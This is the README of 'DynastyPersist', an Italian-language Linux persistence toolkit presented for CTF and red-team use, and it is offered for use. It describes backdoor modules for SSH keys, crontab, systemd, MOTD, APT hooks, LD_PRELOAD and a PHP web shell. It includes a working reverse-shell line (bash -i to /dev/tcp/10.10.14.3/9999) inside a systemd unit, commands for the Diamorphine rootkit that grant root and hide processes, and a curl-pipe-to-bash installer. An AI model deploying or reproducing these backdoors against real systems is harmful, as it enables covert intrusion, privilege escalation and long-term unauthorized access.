
Toolkit di persistenza per Linux con 11 moduli per backdoor di chiavi SSH, cronjob, servizi systemd, rootkit LKM ed escalation dei privilegi LD_PRELOAD. Progettato per competizioni CTF e operazioni di red team.

Ottieni accesso a un server utilizzando la generazione di chiavi ssh. Questo modulo crea una chiave id_rsa per ogni utente. Può essere utilizzata per accesso inverso. Dopo aver eseguito questo modulo, l'attaccante può connettersi al server tramite ssh.
Questo può essere fatto manualmente usando il comando ssh-keygen. Tuttavia, il modulo crea una chiave privata per ogni utente in pochissimo tempo.
root@kali ~ ssh -i id_rsa [email protected]
1I cronjob in Linux sono attività programmate che vengono eseguite automaticamente a intervalli specificati.
Uno dei moduli più efficienti, che coinvolge reverse shell. Questo modulo scrive direttamente comandi di reverse shell in /etc/crontab. Che farà apparire una shell sulla porta in cui stai ascoltando.
root@kali ~ nc -nvlp 9999
2ssh.root@kali ~ ssh [email protected]
3Questo modulo viene fornito con uno script php che è ospitato nella directory root del web. Lo script si trova in /var/www/html/dynasty_rce/rce.php. Inoltre, il prefisso dynasty_rce può essere nascosto se il modulo LKM viene eseguito prima.
Visitando victim_ip:port/dynasty_rce/rce.php ti darà il potere di eseguire comandi all'interno della shell.
Numero del modulo: 4
LKM open-source chiamato Diamorphine. Il modulo si trova in /var/tmp/.memory come posizione temporanea. Questa directory viene eliminata dopo che il modulo è stato impostato.victim@ubuntu ~ kill -64 0 # Promtes to root user.
victim@ubuntu ~ mkdir dynasty_persist # Any directory starting with dynasty will be hidden.
victim@ubuntu ~ kill -31 <process> # Hides processors
victim@ubuntu ~ lsmod | grep -i diamorphine # Hides itself
victim@ubuntu ~ kill -63 0 # Make it appear in lsmod output
5find o cat.root@kali ~ nc -nvlp 9999
6Un modulo che crea un servizio personalizzato in systemd per accesso inverso.
Un esempio:
Description=Dynasty Persist
[Service]
ExecStart=sudo bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/9999 0>&1'
Restart=always
RestartSec=30
[Install]
WantedBy=default.target"
L'esempio sopra verrà creato come servizio. Questo metodo è efficiente e durevole.
Numero del modulo: 7
LD_PRELOAD è una variabile d'ambiente in Linux che consente agli utenti di pre-caricare una libreria condivisa prima di altre librerie. L'escalation dei privilegi utilizzando LD_PRELOAD prevede il caricamento di una libreria dannosa per intercettare e modificare le chiamate di sistema, ottenendo potenzialmente privilegi elevati. Il modulo inserisce backdoor in comandi come find e wget.
Numero del modulo: 8
Il "Message of the Day" (MOTD) in Linux è un testo personalizzabile visualizzato agli utenti al momento dell'accesso, che fornisce informazioni o aggiornamenti sul sistema. Di solito è memorizzato nel file /etc/motd e può essere modificato dagli amministratori di sistema.
Questo modulo scrive una shell in /etc/update-motd.d/00-header. Questo viene tipicamente attivato quando un utente accede.
Numero del modulo: 9
Simile al modulo 7, questo modifica un servizio esistente per accesso inverso.
Semplicemente, riscrive ExecStartPre nel servizio con un comando di reverse shell.
Numero del modulo: 10
"APT" sta per Advanced Package Tool, ed è comunemente usato in sistemi basati su Debian come Ubuntu. Il file sarà qui: /etc/apt/apt.conf.d/42backdoor
Inserisce backdoor nel comando apt, ogni volta che apt viene eseguito, farà apparire una shell.
Numero del modulo: 11
Attualmente, sono disponibili 2 modalità nell'ultimo aggiornamento (1.4).
Le modalità sono console e ctf, progettate per funzionare con un comportamento specifico.
In confronto, la modalità console offre più funzionalità e stabilità rispetto alla modalità ctf.
La modalità console avvia lo strumento nella configurazione abituale, con tutte le funzionalità. Queste funzionalità verranno eseguite localmente sull'host locale dove viene eseguito lo script. Progettata per la persistenza in operazioni in tempo reale.
Il prefisso use seguito dal numero del modulo verrà utilizzato per eseguire qualsiasi modulo selezionato. Ad esempio, use 1
Inoltre, l'interfaccia è aggiornata: i moduli/payload sono ora visibili quando si digita show payloads.
Infine, il menu di aiuto/opzioni è stato modificato: inserisci show options per visualizzarlo.
La modalità ctf è una funzionalità aggiuntiva per accedere a un server compromesso tramite SSH e ottenere persistenza. Questo addon sarà di grande aiuto in KoTH o Battlegrounds. Inoltre, farà risparmiare molto tempo per configurare la persistenza.
Esegue la maggior parte delle funzioni di console.
$ ./dynasty.sh <lhost> <lport> <mode>
$ ./dynasty.sh ctf
$ ./dynasty.sh 10.10.14.3 9999 console
Tramite Git
$ git clone https://github.com/Trevohack/DynastyPersist
$ cd DynastyPersist/src
Tramite Curl
$ curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash
| Funzionalità | Descrizione |
|---|
| Generazione di chiavi SSH | Genera automaticamente chiavi SSH per accesso occulto. |
| Persistenza tramite Cronjob | Imposta cronjob per persistenza programmata. |
| Utente personalizzato con privilegi di root | Crea un utente personalizzato con privilegi di root. |
| Persistenza RCE | Ottiene persistenza tramite esecuzione di codice remoto. |
| LKM/Rootkit | Dimostra persistenza basata su rootkit tramite modulo del kernel Linux (LKM). |
| Persistenza tramite Bashrc | Modifica i file di inizializzazione della shell specifici dell'utente per persistenza (alias / reverse shell). |
| Servizio Systemd per Root | Imposta un servizio systemd per ottenere persistenza come root. |
| Configurazione LD_PRELOAD per escalation dei privilegi | Configura LD_PRELOAD per escalation dei privilegi. |
| Backdoor nel Message of the Day / Header | Inserisce backdoor nella visualizzazione del messaggio di sistema per accesso occulto. |
| Modificare un servizio Systemd esistente | Manipola un servizio systemd esistente per persistenza. |
| Backdoor nel comando APT | Inserisce backdoor nel comando apt per ottenere una shell. |